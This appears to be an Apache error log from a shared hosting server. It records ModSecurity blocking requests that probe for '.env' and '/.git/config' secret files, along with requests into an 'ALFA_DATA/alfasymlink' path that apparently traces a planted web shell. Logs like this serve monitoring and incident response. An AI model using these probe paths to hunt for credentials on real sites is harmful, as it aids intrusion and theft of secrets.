[Sat Oct 24 18:41:55.382998 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDVAAAAAE"]
[Sat Oct 24 18:41:55.383228 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDVAAAAAE"]
[Sat Oct 24 18:41:55.383595 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDVAAAAAE"]
[Sat Oct 24 18:41:55.507522 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDVQAAAAE"]
[Sat Oct 24 18:41:55.507770 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDVQAAAAE"]
[Sat Oct 24 18:41:55.508094 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDVQAAAAE"]
[Sat Oct 24 18:41:55.707432 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDVgAAAAE"]
[Sat Oct 24 18:41:55.707667 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDVgAAAAE"]
[Sat Oct 24 18:41:55.708034 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDVgAAAAE"]
[Sat Oct 24 18:41:55.847305 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDVwAAAAE"]
[Sat Oct 24 18:41:55.847589 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDVwAAAAE"]
[Sat Oct 24 18:41:55.847936 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDVwAAAAE"]
[Sat Oct 24 18:41:55.962222 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDWAAAAAE"]
[Sat Oct 24 18:41:55.962509 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDWAAAAAE"]
[Sat Oct 24 18:41:55.962879 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at00M3xUk1Q9Uwuht9UDWAAAAAE"]
[Sat Oct 24 18:41:56.123444 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at00NHxUk1Q9Uwuht9UDWQAAAAE"]
[Sat Oct 24 18:41:56.123661 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at00NHxUk1Q9Uwuht9UDWQAAAAE"]
[Sat Oct 24 18:41:56.124015 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at00NHxUk1Q9Uwuht9UDWQAAAAE"]
[Sat Oct 24 18:41:58.131963 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.226.34.98:42093] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:42:05.379524 2026] [core:crit] [pid 2707149:tid 2707149] (13)Permission denied: [client 49.51.50.147:50366] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 18:42:06.119887 2026] [ssl:error] [pid 2693035:tid 2693035] (5)Input/output error: [client 54.225.98.148:5461] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:42:10.124565 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 23.21.228.180:62873] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:42:14.221488 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.231.118.144:45130] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:42:18.157659 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.83.23.103:58555] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:42:30.137077 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.230.69.161:41564] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:42:34.135121 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 23.23.104.107:32407] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:42:42.259568 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 50.19.102.70:57705] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:01/PNP0501:00/subsystem/devices/ACPI0010:00/LNXCPU:01/physical_node/driver/bind
[Sat Oct 24 18:42:46.133508 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.212.205.90:27116] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:42:49.747955 2026] [security2:error] [pid 2693020:tid 2693020] [client 85.208.96.201:47424] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/modules/4.18.0-553.58.1.el8_10.x86_64/vdso/vdso64.so"] [unique_id "at00aTKiZtbKEGWJKoLUCgAAACE"]
[Sat Oct 24 18:42:49.748004 2026] [security2:error] [pid 2693020:tid 2693020] [client 85.208.96.201:47424] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/modules/4.18.0-553.58.1.el8_10.x86_64/vdso/vdso64.so"] [unique_id "at00aTKiZtbKEGWJKoLUCgAAACE"]
[Sat Oct 24 18:42:50.249497 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.83.226.125:16561] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:43:01.204403 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 185.191.171.2:45304] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:43:18.154752 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 100.29.128.75:29567] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:43:22.274371 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 23.23.99.55:4886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/xen-platform-pci/bind
[Sat Oct 24 18:43:30.119254 2026] [ssl:error] [pid 2677776:tid 2677776] (5)Input/output error: [client 52.54.95.127:40748] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:43:49.240053 2026] [security2:error] [pid 2692918:tid 2692918] [client 40.77.167.149:30429] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/undici-types/mock-agent.d.ts"] [unique_id "at00pbUNAjBk2uOT2T-F7AAAAAo"]
[Sat Oct 24 18:43:49.240098 2026] [security2:error] [pid 2692918:tid 2692918] [client 40.77.167.149:30429] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/undici-types/mock-agent.d.ts"] [unique_id "at00pbUNAjBk2uOT2T-F7AAAAAo"]
[Sat Oct 24 18:43:58.157627 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.221.227.90:42708] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:44:00.037148 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 85.208.96.210:12914] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:44:02.137106 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.235.239.240:37206] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:44:14.146126 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.29.128.75:39095] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:44:22.180809 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.2.58.41:24157] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:44:34.185407 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.205.163.103:34800] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:44:54.119294 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.221.156.96:8448] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:44:58.130864 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 23.23.180.225:44276] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:45:06.135728 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 18.215.24.66:47793] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:45:42.117908 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 98.84.184.80:4876] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:45:48.542237 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 85.208.96.206:12102] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:46:14.215058 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.83.226.125:45669] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:46:22.155316 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.214.19.8:10160] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:46:26.149836 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.208.156.9:64287] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:46:30.176563 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 18.211.39.188:24115] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/input5/device/subsystem/drivers/acpi-fan/unbind
[Sat Oct 24 18:46:42.137431 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.89.90.224:54933] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:46:54.122210 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.235.81.246:25480] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:47:02.178783 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.84.169.196:57975] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:47:06.260840 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.207.47.227:18704] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:47:22.134552 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 23.21.228.180:55265] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:47:30.161101 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.0.105.244:65460] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:47:34.237003 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 18.210.58.238:18419] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:47:50.173513 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.45.92.83:3259] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:48:00.142603 2026] [security2:error] [pid 2707162:tid 2707162] [client 85.208.96.211:57708] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/32/net/stat/nf_conntrack"] [unique_id "at01oHxUk1Q9Uwuht9UDZgAAAAE"]
[Sat Oct 24 18:48:00.142674 2026] [security2:error] [pid 2707162:tid 2707162] [client 85.208.96.211:57708] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/32/net/stat/nf_conntrack"] [unique_id "at01oHxUk1Q9Uwuht9UDZgAAAAE"]
[Sat Oct 24 18:48:10.193360 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.196.114.170:3980] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:48:18.188311 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.6.97.88:27096] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:48:30.462167 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.159.98.248:48012] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:48:54.326051 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.215.221.125:29340] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:48:58.443697 2026] [ssl:error] [pid 2693035:tid 2693035] (5)Input/output error: [client 54.87.95.7:16029] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:49:02.208664 2026] [security2:error] [pid 2693020:tid 2693020] [client 144.172.105.154:36612] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at013jKiZtbKEGWJKoLUGAAAACE"]
[Sat Oct 24 18:49:02.209004 2026] [security2:error] [pid 2693020:tid 2693020] [client 144.172.105.154:36612] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at013jKiZtbKEGWJKoLUGAAAACE"]
[Sat Oct 24 18:49:02.209354 2026] [security2:error] [pid 2693020:tid 2693020] [client 144.172.105.154:36612] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at013jKiZtbKEGWJKoLUGAAAACE"]
[Sat Oct 24 18:49:06.377453 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.205.141.124:55447] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:49:10.553596 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.195.50.71:60070] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:49:14.339375 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 18.232.36.1:27774] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/virtio2/driver/bind
[Sat Oct 24 18:49:22.248920 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.54.95.127:64449] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:49:26.371488 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.166.104.83:40325] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:49:36.626604 2026] [core:crit] [pid 2692979:tid 2692979] (13)Permission denied: [client 216.244.66.250:58158] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/13/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/13/fd/' is executable
[Sat Oct 24 18:49:36.626670 2026] [core:crit] [pid 2692979:tid 2692979] (13)Permission denied: [client 216.244.66.250:58158] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/13/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/13/map_files/' is executable
[Sat Oct 24 18:49:36.626686 2026] [core:crit] [pid 2692979:tid 2692979] (13)Permission denied: [client 216.244.66.250:58158] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/13/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/13/fdinfo/' is executable
[Sat Oct 24 18:49:39.164500 2026] [core:crit] [pid 2707149:tid 2707149] (13)Permission denied: [client 216.244.66.250:58176] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1372/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1372/fd/' is executable
[Sat Oct 24 18:49:39.164545 2026] [core:crit] [pid 2707149:tid 2707149] (13)Permission denied: [client 216.244.66.250:58176] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1372/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1372/map_files/' is executable
[Sat Oct 24 18:49:39.164572 2026] [core:crit] [pid 2707149:tid 2707149] (13)Permission denied: [client 216.244.66.250:58176] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1372/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1372/fdinfo/' is executable
